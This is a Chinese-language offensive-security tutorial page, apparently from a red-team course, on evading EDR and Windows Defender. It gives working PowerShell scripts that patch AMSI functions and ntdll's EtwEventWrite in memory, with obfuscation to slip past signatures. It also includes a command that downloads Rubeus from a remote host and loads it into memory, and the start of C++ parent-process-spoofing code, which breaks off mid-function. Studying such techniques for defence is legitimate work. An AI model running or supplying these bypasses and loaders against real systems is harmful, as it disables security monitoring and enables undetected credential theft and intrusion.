[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/uJjnLeRYPFOScHqV-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/uJjnLeRYPFOScHqV-image.png)

EDR 相比杀毒软件，有着更加全面的检测，也更加棘手。在上述所讨论过的检测方式之外，EDR 有着更先进的检测，其中一些如下：

##### **API 调用检测**

一些在恶意软件中常用的 API 所对应的 NTAPI (例如 NtAllocateVirtualMemory)会被 EDR 通过用户态 Hooking 的方式劫持运行流程，从而实现对参数以及调用目的的检视，我们会在稍后讲解其原理与绕过。

##### **内核回调**

Windows 驱动程序能够在内核中注册回调例程，当特定事件发生时，例如进程的创建、映像文件的加载，会触发这些例程。例如，当一个新的进程创建后，注册了 PsSetCreateProcessNotifyRoutineEx 的所有驱动都会收到通知，从而采取对应行动，例如阻止该进程的创建，或者注入 EDR 的 DLL 从而实现 API 调用检测。

```c
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
  [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
  [in] BOOLEAN                           Remove
);
```

##### **ETW 事件**

Windows 事件跟踪 (ETW) 日志记录工具让开发人员够跟踪代码的执行、监视或调试潜在的问题。在网络安全的上下文中，ETW 提供了 Agent 无法直接获得的有价值的遥测。例如，加载到每个 .NET 进程中的 CLR 时使用 ETW 发出特定的事件，与其他机制相比，该事件可以更深入地了解主机上执行的托管代码的性质，这允许 EDR 代理收集新数据，从中创建新警报或丰富现有事件。

##### **过滤器驱动**

过滤器驱动可以实现对特定类型活动的检测与采取行动，例如与文件的交互、网络的交互等。现实一点的例子有，阻止对 lsass 进程的转储，EDR 可能会立即删除 LSASS 转储。还可以用于检测与阻止对其他主机的横向移动。

EDR 的绕过是一个有争议的话题，何为绕过？行为没有被立即阻止？没有产生警报？没有生成遥测？

# 反病毒扫描接口

在 Windows 主机上，我们可以通过**执行 exe 文件**、**加载恶意 dll** 等行为获得 Beacon 会话，此外，还可以通过一些脚本语言达到相同目的，例如使用 **PowerShell IEX** 命令将脚本下载到内存中执行，避免文件落地。传统的杀毒软件对此难以检测，而反病毒扫描接口 AMSI 提供了这么一个接口，可以实时捕获多种脚本语言例如 **Powershell**、**JScript**、**VBScript** 以及 **.NET 命令**等并传给本地杀毒软件检测。

AMSI 在Cobalt Strike中的体现则是我们在执行 powershell、powerpick、execute-assembly** 等命令的时候，操作会被拦截甚至丢失会话。好在的是，不是所有杀毒软件产品都支持 AMSI，并且尽管 **Windows Dedender** 支持 AMSI，如果用户安装了第三方不支持 AMSI 的安全产品，例如**火绒**杀毒软件，AMSI 便不可用了。

下图是AMSI被调用的流程图，**amsi.dll** 被载入到每个 PowerShell.exe 进程中并且提供了一系列导出函数，例如 AmsiInitalize、AmsiOpenSession、AmsiScanBuffer 等。脚本的内容会被传入 AmsiScanBuffer 函数中，在脚本被执行之前被判断是否是恶意的。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/04VI9BzV2cuVPbl8-1Aoimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/04VI9BzV2cuVPbl8-1Aoimage.png)

当脚本被启动时，AmsiInitalize 函数被调用，该函数有 2 个参数，分别是**应用名称**以及该函数执行完毕后被填充的 **HAMSICONTEXT** 结构体指针 **amsiContext**。并且 amsiContext 会作为参数传入 **AmsiOpenSession** 函数，而 AmsiOpenSession 会在调用完成后填充 **HAMSISESSION** 结构体指针 **amsiSession**。AmsiScanBuffer 函数接收多个参数，包含了 AmsiInitialize 填充的 参数 amsiContext、缓冲区内容、缓冲区长度、内容标识符、AmsiOpenSession 返回后填充的 amsiSession 参数、以及**扫描结果**。最终，Windows Dedender 将结果值返回给 AmsiScanBuffer。对于结果值，**1** 为非恶意，**32768** 为恶意。接下来我们分别攻击 AmsiOpenSession、AmsiInitialize 以及 AmsiScanBuffer 这 3 个函数。

### **攻击 AmsiOpenSession()**

AmsiOpenSession 函数原型如下：

```c++
HRESULT AmsiOpenSession(
  [in]  HAMSICONTEXT amsiContext,
  [out] HAMSISESSION *amsiSession
);
```

该函数只有 2 个参数，其中 **amsiContext** 是 AmsiInitialize 执行完毕后填充的参数，**amsiSession** 是 AmsiOpenSession 执行完毕后填充的参数。使用 IDA 对 amsi.dll 进行反汇编，得到如下的流程图：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/jdNoYSXAnf9KWqm1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/jdNoYSXAnf9KWqm1-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/EIksWnrBt4i2fzmt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/EIksWnrBt4i2fzmt-image.png)

虽然我们对 amsiContext 的结构并不了解，但我们能看到 amsiContext 的**第 2 个**以及**第 3 个 qword** 分别与 0 比较。此外，**RCX** 与 **RDX** 的值是否为 0 也决定了流程的走向。倒数第 2 行的指令 **mov eax, 0x80070057h** 则是将返回值 EAX 设置为**参数非法**的报错信息。

<table aria-label="Table 1" class="table table-sm" id="bkmrk-name-description-val"><thead><tr><th>Name</th><th>Description</th><th>Value</th></tr></thead><tbody><tr><td>S\_OK</td><td>Operation successful</td><td>0x00000000</td></tr><tr><td>E\_ABORT</td><td>Operation aborted</td><td>0x80004004</td></tr><tr><td>E\_ACCESSDENIED</td><td>General access denied error</td><td>0x80070005</td></tr><tr><td>E\_FAIL</td><td>Unspecified failure</td><td>0x80004005</td></tr><tr><td>E\_HANDLE</td><td>Handle that is not valid</td><td>0x80070006</td></tr><tr><td>**E\_INVALIDARG**</td><td>**One or more arguments are not valid**</td><td>**0x80070057**</td></tr><tr><td>E\_NOINTERFACE</td><td>No such interface supported</td><td>0x80004002</td></tr><tr><td>E\_NOTIMPL</td><td>Not implemented</td><td>0x80004001</td></tr><tr><td>E\_OUTOFMEMORY</td><td>Failed to allocate necessary memory</td><td>0x8007000E</td></tr><tr><td>E\_POINTER</td><td>Pointer that is not valid</td><td>0x80004003</td></tr><tr><td>E\_UNEXPECTED</td><td>Unexpected failure</td><td>0x8000FFFF</td></tr></tbody></table>

总结一下，以下任一情况发生，那么 EAX 值便为 **0x80070057h**，AmsiOpenSession 函数便会报错从而返回，后面的函数调用自然也不会发生，从而实现 AMSI 绕过。

```
RDX为0
RCX为0
RCX存储的地址的下一个QWORD为0
RCX存储的地址的下下个QWORD为0
```

在默认情况下，这 4 个条件是都不满足的，也就是 AmsiOpenSession 是可以正确返回的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ESpR26LZfPMW80tA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ESpR26LZfPMW80tA-image.png)

那么，我们可以手动补丁这 4 个值的任意一个。

我们可以使用 PowerShell 单行载荷来实现补丁 amsiContext 结构体中的第 2 个 qword，载荷内容如下：

```powershell
 $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)
```

这之间的过程是这样的

```
1：通过GetType()获得定义了Ref类型的组件里所有的类型
2：在列表中，根据AmsiUtils的属性特征，例如IsPublic=False, IsSerial=False，Name包含 "iUtils"子字符串等，定位到AmsiUtils
3：相似的方法定位到amsiContext
4：得到amsiContext参数的地址，将结构体中第2个QWORD补丁0
```

拆分的载荷如下：

```powershell
PS C:\Users\Administrator> $a=[Ref].Assembly.GetTypes()
PS C:\Users\Administrator> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$b}}

IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
False    False    AmsiUtils                                System.Object


PS C:\Users\Administrator> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}
PS C:\Users\Administrator> $c.GetFields('NonPublic,Static')


Name                   : amsiContext
MetadataToken          : 67114386
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.IntPtr
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}

Name                   : amsiSession
MetadataToken          : 67114387
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.IntPtr
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}

Name                   : amsiInitFailed
MetadataToken          : 67114388
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.Boolean
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}

Name                   : amsiLockObject
MetadataToken          : 67114389
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.Object
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}



PS C:\Users\Administrator> $d=$c.GetFields('NonPublic,Static')
PS C:\Users\Administrator> Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}
PS C:\Users\Administrator> $f.GetValue($null)
1601698866944
PS C:\Users\Administrator> $g=$f.GetValue($null);
PS C:\Users\Administrator> $ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);
PS C:\Users\Administrator> $buf = New-Object byte[](8)
PS C:\Users\Administrator> [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)
PS C:\Users\Administrator> invoke-mimikatz
invoke-mimikatz : The term 'invoke-mimikatz' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try
again.
At line:1 char:1
+ invoke-mimikatz
+ ~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (invoke-mimikatz:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
```

如果使用 Windows API 编程来实现将 **RCX** 赋 0 的话，PowerShell 代码如下：

```powershell
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}


[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0x48,0x31,0xc9)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
```

运行结果如下所示，依旧成功绕过了 AMSI。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/jHVmGe6jpvFbxRHo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/jHVmGe6jpvFbxRHo-image.png)

### **攻击 AmsiInitialize()**

AmsiInitialize 的函数原型如下：

```c++
HRESULT AmsiInitialize(
  [in]  LPCWSTR      appName,
  [out] HAMSICONTEXT *amsiContext
);
```

该函数也是只有 2 个参数，其中函数执行后被填充的参数为 **amsiContext**。考虑到 amsiContext 会被传入后续的 AmsiOpenSession 函数作为参数，我们可以在该函数执行完毕后操纵该参数的值。

用 PowerShell 单行载荷的话，原始命令如下：

```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

因为 **"Amsi"** 字符串会被识别为恶意内容，我们可以通过在 AmsiOpenSession 部分所使用的技巧来实现混淆，最终的单行载荷为：

```powershell
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true)
```

如图所示，我们成功绕过了 AMSI。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/keSJFqi12c6yiQvv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/keSJFqi12c6yiQvv-image.png)

### **攻击 AmsiScanBuffer()**

AmsiScanBuffer 的函数原型如下：

```c++
HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);
```

该函数有 6 个参数，**amsiContext** 为 AmsiInitialize 函数执行完毕后填充的参数，**buffer** 与 **length** 分别为缓冲区内容与长度，**contentName** 为内容标识符，**amsiSession** 是 amsiOpenSession 函数执行完毕后填充的参数，**result** 是该函数执行完毕后填充的参数，表示被扫描内容的恶意程度。**AMSI\_RESULT** 结构体如下：

```c++
typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} ;
```

使用 IDA 查看该函数的汇编代码与流程图：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Lum2cswvoFuN6F7S-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Lum2cswvoFuN6F7S-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lDY0c9L0zBHX27Ez-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lDY0c9L0zBHX27Ez-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6GZNzeRAGAgzNQIb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6GZNzeRAGAgzNQIb-image.png)

从流程图中可见，有诸多的分支可以让函数的执行最终到达 **mov eax, 0x80070057** 指令。其中一条比较直接的路线如下：

```
cmp     rcx, rax
jz      short loc_1800082CA
```

该指令块将 RAX 与 RCX 进行数值比较，因为 RCX 与 RAX 的值在函数起始处与上述指令之间有被覆盖，所以难以补丁。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/3nhZQik7oqWrXilh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/3nhZQik7oqWrXilh-image.png)

**RCX** 与 **RAX** 如果不相等，会来到下列指令块。RCX 所储存的地址偏移 **0x14** 字节处的字节与立即数 **4** 进行 TEST 操作，即该字节的第 **3** 位是否被设置。

```
test    byte ptr [rcx+1Ch], 4
jz      short loc_1800082CA
```

操作结果不为 0 的话，流程来到如下指令块：

```
mov     rcx, [rcx+10h]
mov     r9, rbx
mov     [r11-50h], rbp
mov     [r11-58h], r14
mov     [rsp+88h+var_60], r8d
mov     [r11-68h], rdx
call    WPP_SF_qqDqq
```

该指令块没有跳转，因此继续向下执行，来到下述指令块。之前，**RSI** 被赋予 **RDX** 所存储的值，也就是 **Buffer 的地址**，所以不为 0，那么向下继续执行。

```
loc_1800082CA:
test    rsi, rsi
jz      short loc_180008337
```

如下指令块用于判断 **EDI** 是否为 0，在之前，EDI 被赋予了存储于 **R8D** 中的值。那么一切很明显了，如果 **R8** 为 0，那么就会从这里跳转到 **mov eax, 0x80070057** 指令。

```
test    edi, edi
jz      short loc_180008337
```

用 WinDBG 在 amsiScanBuffer 函数入口处将 R8 设置为 0，继续执行，我们发现 AMSI 被绕过了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/1eEBy8xoQu5Vzrbm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/1eEBy8xoQu5Vzrbm-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/CFhB4ntC74CpZx2f-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/CFhB4ntC74CpZx2f-image.png)

如果我们试图在 AmsiScanBuffer 起始位置补丁如下指令将 R8 赋 0：

```
xor r8, r8;
```

操作码为 **4d31c0**。但是，这么做会导致 PowerShell 进程崩溃，因此后面指令赋的值在函数后续的执行流程中有被使用。因此，该绕过的路径理论上可行，但脱离 WinDBG 在实际中执行会遇到问题。

我们也可以在函数开头就强制 AmsiScanBuffer 返回 **E\_INVALIDARG 报错**，对应指令为

```
mov eax, 0x80070057
ret
```

操作码为 **b857000780c3**。不过，因为该操作码已经是 AMSI 绕过的特征之一，所以我们对此稍加混淆：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lnsZ6jj3nn4NuRBs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lnsZ6jj3nn4NuRBs-image.png)

最终代码如下

```powershell
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}


$a="A"
$b="msiS"
$c="canB"
$d="uffer"
[IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d)
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)
```

运行结果如图所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BIXkRrk3gnVWqzHL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BIXkRrk3gnVWqzHL-image.png)

# Windows事件追踪

Windows 事件追踪器 (ETW) 提供了一种追踪和记录**用户模式应用程序**和**内核模式驱动程序**引发的事件的机制。ETW 最初是为了**调试**和**性能监控**目的而引入的，但现在它可以用于检视 IoC，例如内存中的 **.NET 组件**。

当 .NET 组件被加载的时候，**Microsoft-Windows-DotNETRuntime** 提供者会产生 **AssemblyLoad** 的事件。让我们在内存中通过 .NET 反射运行 Rubeus.exe

```powershell
$data=(new-object System.Net.WebClient).DownloadData('http://192.168.0.45:443/rubeus.exe')
$assembly=[System.Reflection.Assembly]::Load($data)
```

但是，首先我们需要绕过 AMSI，因为 .NET 组件的内容也会被 AMSI 扫描。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/NafgtSgcDMCrVVrq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/NafgtSgcDMCrVVrq-image.png)

使用通过补丁 AmsiScanBuffer 的脚本来绕过 AMSI 对 .NET 组件的扫描，这样我们成功地将 Rubeus 加载到了内存中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/HZHrVBPLve2CJ83F-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/HZHrVBPLve2CJ83F-image.png)

在继续 ETW 的话题之前，如果你们好奇为什么使用攻击 AmsiInitialize 或者 AmsiOpenSession 的载荷不管用，我们跑个题来分析一下。使用 WinDBG 给 PowerShell.exe 进程设置 4 个断点：

```
amsi!AmsiInitialize
amsi!AmsiOpenSession
amsi!AmsiScanBuffer
clr!AmsiScan
```

输入恶意字符串 "invoke-mimikatz" 之后，AmsiOpenSession 与 AmsiScanbuffer 断点分别被触发，但 AmsiInitialize 与 AmsiScan 并没有。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Jk66eAOWRFvABLE6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Jk66eAOWRFvABLE6-image.png)

如果执行 **\[System.Reflection.Assembly\]::Load()** 命令，我们会发现前 2 个触发的断点是一致的，都是对 PowerShell 脚本块的扫描。而后面触发的 AmsiInitialize 与 AmsiScan 断点证明了是对内存中 .NET 组件的单独扫描。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/75jgj6vWsSnIiLOS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/75jgj6vWsSnIiLOS-image.png)

查看 **clr.dll** 中的 **AmsiScan** 函数，我们发现 AmsiInitialize 与 AmsiScan 有被调用，而 AmsiOpenSession 并没有。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/sCza5HKBuTFLrbaB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/sCza5HKBuTFLrbaB-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/tq6hlxL6jIUocFNW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/tq6hlxL6jIUocFNW-image.png)

总之就是，补丁 AmsiInitialize 的单行载荷无效是因为该载荷是通过更改 **System.Management.Automation** 命名空间的子值来实现的，而该命名空间是 PowerShell 的根命名空间，自然与 .NET 组件的 AMSI 扫描无关。而 AmsiOpenSession 并没有在 AmsiScan 中被调用。

总之，绕过 AMSI 并将 Rubeus 加载到内存中之后，会有什么其他 IoC 呢？使用 **ProcessHacker** 查看当前的 PowerShell.exe 进程，我们发现 **.NET assemblies** 页面中能看到 Rubeus 的明文，这就是 ETW 直观的作用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/yJKghgUGW94Yvt3S-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/yJKghgUGW94Yvt3S-image.png)

绕过 ETW 的方法与绕过 AMSI 较为相似，补丁 **ntdll.dll** 中的 **EtwEventWrite** 函数。

```c++
ULONG 
EVNTAPI
EtwEventWrite(
    __in REGHANDLE RegHandle,
    __in PCEVENT_DESCRIPTOR EventDescriptor,
    __in ULONG UserDataCount,
    __in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData
    );
```

绕过 ETW 的 PowerShell 脚本如下：

```powershell
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}


[IntPtr]$funcAddr = LookupFunc ntdll.dll EtwEventWrite
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)
```

在补丁 EtwEventWrite 函数之后，我们发现在 .NET assemblies 中便查看不到相关事件了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/YgbTs86CKlTsVpM0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/YgbTs86CKlTsVpM0-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/x1U4gCgayDXKKm9m-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/x1U4gCgayDXKKm9m-image.png)

# 父进程欺骗

父进程欺骗是一种允许攻击者使用任意父进程启动程序的技术，这有助于使攻击者的程序看起来是由另一个进程生成的，有助于规避基于父子进程关系的检测，尤其是当我们的 Beacon 在非常规的进程下运行，进程的创建事件会引发警告。  
默认情况下，交互式用户启动的大多数程序都将为 explorer.exe 的子进程。

父进程欺骗可以由以下步骤实现：

指定父进程的名称或者 PID。这里，我们是指定的名称，如果相同名称的进程存在多个实例，那么取第一个。这里用到 **CreateToolhelp32Snapshot** 函数，用于创建给定进程的快照。

```c++
HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);
```

**TH32CS\_SNAPPROCESS** 常数表示包含系统的所有进程。然后通过 **Process32First** 函数来枚举进程。

```c++
BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);
```

逐一比较进程名称，如果找到，返回第一个实例的 PID。这部分的代码如下：

```c++
DWORD FindExplorerProcessId()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot)
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &pe32))
